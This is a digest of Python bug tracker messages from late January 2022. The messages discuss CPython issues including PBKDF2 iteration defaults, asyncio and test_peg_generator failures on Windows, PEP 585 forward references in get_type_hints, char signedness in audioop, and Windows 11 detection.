at python.org/message/R7X6NKGEOKWD3PBWIL2LPZWZ6MMRANN5/ Last years I gave up, since almost no one replied to my requests. ---------- title: [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure -> [Windows] : Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:48:06 2022 From: report at bugs.python.org (Alex Gaynor) Date: Tue, 25 Jan 2022 17:48:06 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643132886.15.0.605952819471.issue42982@roundup.psfhosted.org> Alex Gaynor added the comment: Sticking with 100k is not scientific though ;-) Empiricism is science! I'm probably the person responsible for Django's process, which is to increase by some % (10% or 20% IIRC) every release. As you point out, the exact value one should use is a function of context, which we don't have as documentation authors. However, what we can do is try to select a value that's most likely to be practical for many users and will in-turn protect their users data most. 100k isn't that value, and taking inspiration from places that have had their values tested by many users is intuitive to me. ---------- nosy: +alex _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:48:43 2022 From: report at bugs.python.org (eshkrig) Date: Tue, 25 Jan 2022 17:48:43 +0000 Subject: [issue38195] A bug in the multiprocessing module In-Reply-To: <1568703069.98.0.135749134145.issue38195@roundup.psfhosted.org> Message-ID: <1643132923.2.0.00365579983573.issue38195@roundup.psfhosted.org> eshkrig added the comment: $ cat /etc/os-release NAME=Gentoo ID=gentoo PRETTY_NAME="Gentoo/Linux" ANSI_COLOR="1;32" HOME_URL="https://www.gentoo.org/" SUPPORT_URL="https://www.gentoo.org/support/" BUG_REPORT_URL="https://bugs.gentoo.org/" $ uname -a Linux lynx 5.16.2-gentoo-1 #1 SMP PREEMPT Fri Jan 21 10:38:04 MSK 2022 x86_64 AMD FX(tm)-8350 Eight-Core Processor AuthenticAMD GNU/Linux $ python --version Python 3.9.9 $ ./testqueue.py queue.get() from pid 11371 queue.get() from pid 11372 ^CTraceback (most recent call last): File "/home/john/main/123/./testqueue.py", line 45, in result = ps_queues[cpu].get(timeout=2) File "/usr/lib/python3.9/multiprocessing/queues.py", line 117, in get res = self._recv_bytes() File "/usr/lib/python3.9/multiprocessing/connection.py", line 221, in recv_bytes buf = self._recv_bytes(maxlength) File "/usr/lib/python3.9/multiprocessing/connection.py", line 426, in _recv_bytes return self._recv(size) File "/usr/lib/python3.9/multiprocessing/connection.py", line 384, in _recv chunk = read(handle, remaining) KeyboardInterrupt ---------- resolution: out of date -> status: closed -> open versions: +Python 3.9 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:56:21 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Tue, 25 Jan 2022 17:56:21 +0000 Subject: [issue41682] [Windows] : Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1643133381.57.0.239824393361.issue41682@roundup.psfhosted.org> Andrew Svetlov added the comment: I'm sorry, Victor. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:58:17 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 17:58:17 +0000 Subject: [issue5322] object.__new__ argument calling autodetection faulty In-Reply-To: <1235075665.37.0.301694124748.issue5322@psf.upfronthosting.co.za> Message-ID: <1643133497.46.0.605483566007.issue5322@roundup.psfhosted.org> STINNER Victor added the comment: Python has the same behavior since Python 2.6. While it annoys a few persons, the majority doesn't care. I suggest to close the issue. It's easy to workaround limitation that object.__new__() which doesn't accept arguments. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:58:24 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 17:58:24 +0000 Subject: [issue46510] Update Python2-style exception handling In-Reply-To: <1643096464.21.0.982356437879.issue46510@roundup.psfhosted.org> Message-ID: <1643133504.69.0.946590292817.issue46510@roundup.psfhosted.org> Irit Katriel added the comment: New changeset d69d3d8b2fec501e51309221fb1fa4622c8a3db3 by Irit Katriel in branch 'main': bpo-46510: simplify exception handling code in xmlrpc (GH-30878) https://github.com/python/cpython/commit/d69d3d8b2fec501e51309221fb1fa4622c8a3db3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:00:18 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 18:00:18 +0000 Subject: [issue40735] test_nntplib depends on unreliable external servers In-Reply-To: <1590181665.98.0.604811088124.issue40735@roundup.psfhosted.org> Message-ID: <1643133618.55.0.192232586551.issue40735@roundup.psfhosted.org> STINNER Victor added the comment: IMO for now it's better to *always* skip test_nnptlib tests which rely on external servers and close related issues. * https://bugs.python.org/issue19613 (test_article_head_body) * https://bugs.python.org/issue19756 (test_capabilities) These issues are open for 9 years. NNTP protocol is getting less and less popular, I don't expect that anyone will come in 2022 and suddenly propose a fix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:01:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 18:01:04 +0000 Subject: [issue46510] Update Python2-style exception handling In-Reply-To: <1643096464.21.0.982356437879.issue46510@roundup.psfhosted.org> Message-ID: <1643133664.49.0.20658391837.issue46510@roundup.psfhosted.org> Irit Katriel added the comment: New changeset ec7c17ea236f71c8376abcc2930a7c857d417966 by Irit Katriel in branch 'main': bpo-46510: Add missing test for types.TracebackType/FrameType. Calculate them directly from the caught exception. (GH-30880) https://github.com/python/cpython/commit/ec7c17ea236f71c8376abcc2930a7c857d417966 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:01:18 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 18:01:18 +0000 Subject: [issue46510] Update Python2-style exception handling In-Reply-To: <1643096464.21.0.982356437879.issue46510@roundup.psfhosted.org> Message-ID: <1643133678.94.0.802392974203.issue46510@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:03:17 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 18:03:17 +0000 Subject: [issue41682] [Windows] : Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1643133797.39.0.766718009292.issue41682@roundup.psfhosted.org> STINNER Victor added the comment: > I'm sorry, Victor. As a maintainer of the Python CIs, The Night's Watch (*), it's my fault that I didn't skip these tests earlier. Honestly, it's ok to skip a bunch of tests or even remove them if there is no active maintainer. It's also ok that there is no active maintainer if existing tests continue to pass. asyncio is far from being an exception. Just look at test_nntplib: not maintained for 9 years, https://bugs.python.org/issue40735 This test failure got more attention since it started to fail even more frequently (always?) on Windows 2022. (*) https://pythondev.readthedocs.io/ci.html#the-night-s-watch-is-fixing-the-cis-in-the-darkness-for-you ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:05:06 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 18:05:06 +0000 Subject: [issue33205] GROWTH_RATE prevents dict shrinking In-Reply-To: <1522670151.04.0.467229070634.issue33205@psf.upfronthosting.co.za> Message-ID: <1643133906.94.0.815194701747.issue33205@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:11:09 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 18:11:09 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1643134269.45.0.127410071098.issue46465@roundup.psfhosted.org> STINNER Victor added the comment: > Regarding C extensions, I think clear documentation that extension authors need to check for signals in any code that might run for a few hundred microseconds or longer is the best approach. Python 3.10 doesn't require it. If you want to change Python 3.11 behavior, please announce the change on python-dev and capi-sig mailing lists, and document it carefully in What's New in Python 3.11. I'm not talking about checking frequently interruptions while a function is running, I'm only talking about the "end" of a C function (exit). In Python 3.10, ceval.c does it automatically. case TARGET(CALL_FUNCTION): { PREDICTED(CALL_FUNCTION); PyObject **sp, *res; sp = stack_pointer; res = call_function(tstate, &trace_info, &sp, oparg, NULL); stack_pointer = sp; PUSH(res); if (res == NULL) { goto error; } CHECK_EVAL_BREAKER(); // <==== HERE DISPATCH(); } ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:12:25 2022 From: report at bugs.python.org (James Gerity) Date: Tue, 25 Jan 2022 18:12:25 +0000 Subject: [issue46282] return value of builtins is not clearly indicated In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1643134345.26.0.279785084382.issue46282@roundup.psfhosted.org> James Gerity added the comment: > advertising that all functions default to returning None This is already communicated in ? 4.7 ("Defining Functions") of the official tutorial. I think it would be a good idea to revise that section so that this property of functions is a little more clear, but that isn't the scope of this ticket. The title change reflects my intent to submit a PR that adds a hint to the builtins doc. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:13:07 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 18:13:07 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643134387.87.0.865721644417.issue46513@roundup.psfhosted.org> STINNER Victor added the comment: Fedora downstream issue: https://bugzilla.redhat.com/show_bug.cgi?id=2043555 We should make sure that Python can be built with -fsigned-char *and* with -funsigned-char: build Python, but also run its test suite. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:14:01 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 18:14:01 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643134441.55.0.2760439628.issue46513@roundup.psfhosted.org> STINNER Victor added the comment: > Modules/audioop.c uses __CHAR_UNSIGNED__, but the absence or presence of the symbol does not affect behavior This comment is really weird since audioop explicitly uses "signed char" and "unsigned char". Maybe to avoid any risk of confusion, the C code should use int8_t and uint8_t. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:17:32 2022 From: report at bugs.python.org (Niklas Rosenstein) Date: Tue, 25 Jan 2022 18:17:32 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643134652.88.0.707515310503.issue41370@roundup.psfhosted.org> Niklas Rosenstein added the comment: Guido, sorry for the late response on this. I have a work around, but it involves passing along my own "context" from which to resolve strings on the go as they are encountered while decomposing the type hint. https://github.com/NiklasRosenstein/databind/commit/960da61149b7139ec81b0e49d407fae321581914 I'm using `typing.get_type_hints()` expecting it to fully resolve all forward references, but that no longer happens with PEP 585 generics. https://github.com/NiklasRosenstein/databind/blob/960da61149b7139ec81b0e49d407fae321581914/databind.core/src/databind/core/types/utils.py#L129-L138 I understand the documentation has been updated to reflect this behaviour, but it was an issue for me because it broke it's original API contract. > In addition, forward references encoded as string literals are handled by evaluating them in globals and locals namespaces. Arguably the same has happened when `include_extras` was added (Annotated was now stripped from the returned resolved type hints by default), but that had an easy fix by simply wrapping it with `include_extra=True` depending on the Python version. The fix for the forward references in PEP 585 was not so trivial because we can't hook into what `get_type_hints()` does when it encounters a string. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:24:36 2022 From: report at bugs.python.org (Frederik Rietdijk) Date: Tue, 25 Jan 2022 18:24:36 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1643135076.65.0.362239541527.issue43976@roundup.psfhosted.org> Frederik Rietdijk added the comment: In Nixpkgs we install every Python package under a unique prefix, a so-called Nix store path. If we were to use sysconfig for installing packages, then we'd need to be able to dynamically set the paths. This was also discussed as part of the Installer project. https://github.com/pradyunsg/installer/issues/98 We could use a custom scheme, however, we do need to be able to dynamically set a certain variable, e.g. `base`. ``` variables = {"installed_base": "$out", "base": "$out", "platbase": "$out", "installed_platbase": "$out"} # Note there is no `sysconfig.get_default_scheme()` sysconfig._expand_vars("posix_prefix", variables) ``` I could imagine we do something like ``` # check whether we're in a nix build and want to install in a prefix if "IN_NIX_BUILD" in os.environ: base = os.environ["out"] scheme = {...} ``` We'd then need to update the base variable in sysconfig or partially expand our own scheme using this variable. ---------- nosy: +Frederik Rietdijk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:25:08 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 18:25:08 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643135108.94.0.187076647234.issue45382@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +29073 pull_request: https://github.com/python/cpython/pull/30890 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:25:17 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 25 Jan 2022 18:25:17 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643135117.53.0.126912036026.issue41370@roundup.psfhosted.org> Guido van Rossum added the comment: I asked for a brief example that explains your issue to me. Instead you sent me links to production code and patches to it. Sorry, but that doesn't help me understand your problem. Is there really no way that you can write a little story that goes along the lines of In our production code, we use the pattern foo blah blah: spam spam Ham eggs anchovies buzz buzz blah get_type_hints buzz buzz a lot. As you can see, the get_type_hints call fails when we switch from "Ham eggs" to "ham eggs". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:27:13 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 18:27:13 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643135233.42.0.0441683402558.issue45382@roundup.psfhosted.org> STINNER Victor added the comment: > When writing to a pipe, wmic.exe hard codes using the process OEM code page (i.e. CP_OEMCP). If it matters, running wmic.exe with subprocess should use encoding='oem' instead of text=True. Oh ok, I wrote PR 30890 to fix the wmic.exe encoding. I would prefer to avoid a named temporary file if possible, until it's really needed. I'm only aware of the Fedora operating system which made fun of non-ASCII users once with "Fedora release 19 (Schr?dinger's Cat)": https://lwn.net/Articles/545741/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:32:29 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 25 Jan 2022 18:32:29 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643135549.82.0.503820790891.issue41370@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 13:34:14 2022 From: report at bugs.python.org (Niklas Rosenstein) Date: Tue, 25 Jan 2022 18:34:14 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643135654.4.0.426529343599.issue41370@roundup.psfhosted.org> Niklas Rosenstein added the comment: You're right, let me trim it down: In production we use `get_type_hints()` a lot, expecting it to resolve strings as forward references as per it's original API contract. However, PEP 585 generics parametrized with strings in Python 3.10 doesn't work like that (as the documentation already points out). `get_type_hints()` itself does not fail, subsequently broke our code because it was not built to expect strings in `GenericAlias.__args__`. What I ask myself is what motivated the decision to change the behaviour for PEP 585 generics in `get_type_hints()` and not go the extra mile. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:02:31 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 19:02:31 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643137351.12.0.0481302668452.issue45382@roundup.psfhosted.org> STINNER Victor added the comment: New changeset cef0a5458f254c2f8536b928dee25862ca90ffa6 by Victor Stinner in branch 'main': bpo-45382: test.pythoninfo: set wmic.exe encoding to OEM (GH-30890) https://github.com/python/cpython/commit/cef0a5458f254c2f8536b928dee25862ca90ffa6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:06:03 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 19:06:03 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows Message-ID: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> New submission from STINNER Victor : test_peg_generator takes between 5 and 16 minutes on the Windows CI run on Python pull requests. Example of timings on my PR https://github.com/python/cpython/pull/30890 * GitHub Action win32: 8 min 16 sec * GitHub Action win64: 16 min 38 sec * Azure Pipelines win32: 5 min 30 sec * Azure Pipelines win64: 8 min 3 sec Would it be possible to make these tests faster? Or at least, would it be possible to skip these slow tests on Windows where spawing a process or running a C compiler is slower? On my Fedora 35 (Linux) laptop, test_peg_generator takes 49.5 seconds. test_peg_generator only takes 736 ms if I disable TestCParser. ---------- components: Tests messages: 411662 nosy: lys.nikolaou, pablogsal, vstinner priority: normal severity: normal status: open title: test_peg_generator takes 8 minutes on Windows versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:07:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 19:07:21 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643137641.63.0.508652662519.issue45382@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +29074 pull_request: https://github.com/python/cpython/pull/30891 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:07:51 2022 From: report at bugs.python.org (Alex Zaslavskis) Date: Tue, 25 Jan 2022 19:07:51 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643137671.58.0.808044244173.issue45382@roundup.psfhosted.org> Alex Zaslavskis added the comment: Thanks guys. Microsoft is always pain for us. Bit wmic seems nice solution. Is still working for windows lower than 11? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:12:19 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 19:12:19 +0000 Subject: [issue46282] return value of builtins is not clearly indicated In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1643137939.2.0.264711488893.issue46282@roundup.psfhosted.org> Terry J. Reedy added the comment: Please post your proposed change here to be discussed by participants here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:13:02 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 19:13:02 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643137982.46.0.615388642196.issue46513@roundup.psfhosted.org> STINNER Victor added the comment: To test if a C type is signed or not, I wrote this macro: // Test if a C type is signed. // // Usage: assert(_Py_CTYPE_IS_SIGNED(char)); // fail if 'char' type is unsigned #define _Py_CTYPE_IS_SIGNED(T) (((T)-1) < 0) I planned to use it to raise an error on "import audioop" if the C "char" type is unsigned, but it seems like it's not needed, since the C extensions seems to work if char is signed or unsigned (I only read the C code, I didn't run test_audioop to actually test it). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:13:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 19:13:27 +0000 Subject: [issue46214] Remove unused opcode ROT_FOUR Message-ID: <1643138007.48.0.745372884729.issue46214@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> later stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:16:28 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 19:16:28 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643138188.86.0.297275142359.issue46513@roundup.psfhosted.org> STINNER Victor added the comment: My audioop.c change which looks to be wrong (useless): diff --git a/Modules/audioop.c b/Modules/audioop.c index 3aeb6f04f13..4c04b17ce7f 100644 --- a/Modules/audioop.c +++ b/Modules/audioop.c @@ -1948,6 +1941,13 @@ audioop_exec(PyObject* module) { audioop_state *state = get_audioop_state(module); + if (!_Py_CTYPE_IS_SIGNED(char)) { + PyErr_SetString(PyExc_RuntimeError, + "the audioop module does not support systems " + "where the char type is unsigned"); + return -1; + } + state->AudioopError = PyErr_NewException("audioop.error", NULL, NULL); if (state->AudioopError == NULL) { return -1; ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:23:09 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 25 Jan 2022 19:23:09 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643138589.41.0.269638550694.issue41370@roundup.psfhosted.org> Guido van Rossum added the comment: When PEP 585 was discussed and implemented we did not expect people to care as much about runtime types as they did. I already explained that making list['Node'] incorporate a ForwardRef instance is unrealistic (we'd have to reimplement ForwardRef in C first). It might be possible to change get_type_hints() to recognize strings, and deprecate ForwardRef altogether. But I suspect that that would break something else, since ForwardRef is documented (I had intended it to remain an internal detail but somehow it got exposed, I don't recall why). Please stop asking why the decision was made (it sounds rather passive-aggressive to me) and start explaining the problem you are having in a way that we can actually start thinking about a solution. I have boiled down the original example to a slightly simpler one (dataclasses are a red herring): >>> from typing import get_type_hints, List >>> class N: ... c1: list["N"] ... c2: List["N"] ... >>> N.__annotations__ {'c1': list['N'], 'c2': typing.List[ForwardRef('N')]} >>> get_type_hints(N) {'c1': list['N'], 'c2': typing.List[__main__.N]} The key problem here is that the annotation list['N'] is not expanded to list[N]. What can we do to make get_type_hint() produce list[N] instead here? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:30:21 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 25 Jan 2022 19:30:21 +0000 Subject: [issue46420] Use NOTRACE_DISPATCH in specialized opcodes In-Reply-To: <1643113722.82.0.0510398387052.issue46420@roundup.psfhosted.org> Message-ID: <1643139021.25.0.33021300591.issue46420@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:37:42 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 25 Jan 2022 19:37:42 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643139462.8.0.254570174973.issue41370@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:38:09 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 25 Jan 2022 19:38:09 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643139489.91.0.815536262215.issue41370@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:40:54 2022 From: report at bugs.python.org (Tim Peters) Date: Tue, 25 Jan 2022 19:40:54 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643139654.27.0.398325074965.issue46524@roundup.psfhosted.org> Change by Tim Peters : ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:42:03 2022 From: report at bugs.python.org (James Gerity) Date: Tue, 25 Jan 2022 19:42:03 +0000 Subject: [issue46282] return value of builtins is not clearly indicated In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1643139723.85.0.782632797697.issue46282@roundup.psfhosted.org> James Gerity added the comment: My thought was to add something like this to the top of functions.rst: ``` Note that some of the functions listed here have the :ref:`default return value of ``None``. ``` For reference, the builtins this applies to are: * breakpoint() * delattr() * exec() * help() * print() * setattr() Which makes me wonder if the hint is even worth having, since it's so few of them. Note that of these, exec() does what this ticket originally proposed for print() - i.e. it explicitly says that the function returns None. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:53:52 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 25 Jan 2022 19:53:52 +0000 Subject: [issue46520] `ast.unparse` produces syntactically illegal code for identifiers that look like reserved words In-Reply-To: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org> Message-ID: <1643140432.69.0.144309142447.issue46520@roundup.psfhosted.org> Nikita Sobolev added the comment: I can confirm that it happens on all versions from 3.9 to 3.11 (main). ``` Python 3.9.9 (main, Dec 21 2021, 11:35:28) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import ast >>> ast.unparse(ast.parse("??? = 1")) 'def = 1' >>> exec(ast.unparse(ast.parse("??? = 1"))) # SyntaxError ``` ``` Python 3.11.0a4+ (heads/main-dirty:ef3ef6fa43, Jan 20 2022, 20:48:25) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import ast >>> ast.unparse(ast.parse("??? = 1")) 'def = 1' >>> exec(ast.unparse(ast.parse("??? = 1"))) # SyntaxError ``` ---------- nosy: +sobolevn versions: +Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 15:19:15 2022 From: report at bugs.python.org (Niklas Rosenstein) Date: Tue, 25 Jan 2022 20:19:15 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643141955.51.0.919266968011.issue41370@roundup.psfhosted.org> Niklas Rosenstein added the comment: It was not my intention to sound passive agressive. Thanks for providing the context around the time PEP 585 was discussed. Frankly, I believe I have explained the problem quite well. But I would like to propose a solution. I can't judge in what circumstance a `str` would end up in `typing._GenericAlias.__args__` since `typing._GenericAlias.__getitem__()` converts strings to `typing.ForwardRef` using `_type_check()` immediately. Assuming this is indeed a case to be taken into account, I would propose that `typing.get_type_hint()` implements special treatment for `types.GenericAlias` such that strings in `__args__` are treated as forward references, and keep the old behaviour for `typing._GenericAlias`. Do you see any problems with that? Of course this would break cases that have come to strictly expect strings in PEP 585 generic `__args__` since the release of Python 3.10 to stay strings, although I cannot come up with an example or think of a usecase myself. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 15:20:48 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 20:20:48 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643142048.82.0.838613280407.issue45382@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 4a57fa296b92125e41220ecd201eb2e432b79fb0 by Victor Stinner in branch '3.10': [3.10] bpo-45382: test.pythoninfo logs more Windows versions (GH-30891) https://github.com/python/cpython/commit/4a57fa296b92125e41220ecd201eb2e432b79fb0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 15:21:14 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 25 Jan 2022 20:21:14 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643142074.62.0.543643161186.issue45382@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 8.0 -> 9.0 pull_requests: +29075 pull_request: https://github.com/python/cpython/pull/30894 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 15:33:54 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 20:33:54 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643142834.21.0.169870771865.issue46524@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: The test needs to build a lot of C extensions with different parsers, and that compilation is what takes most of the time. I don't think we 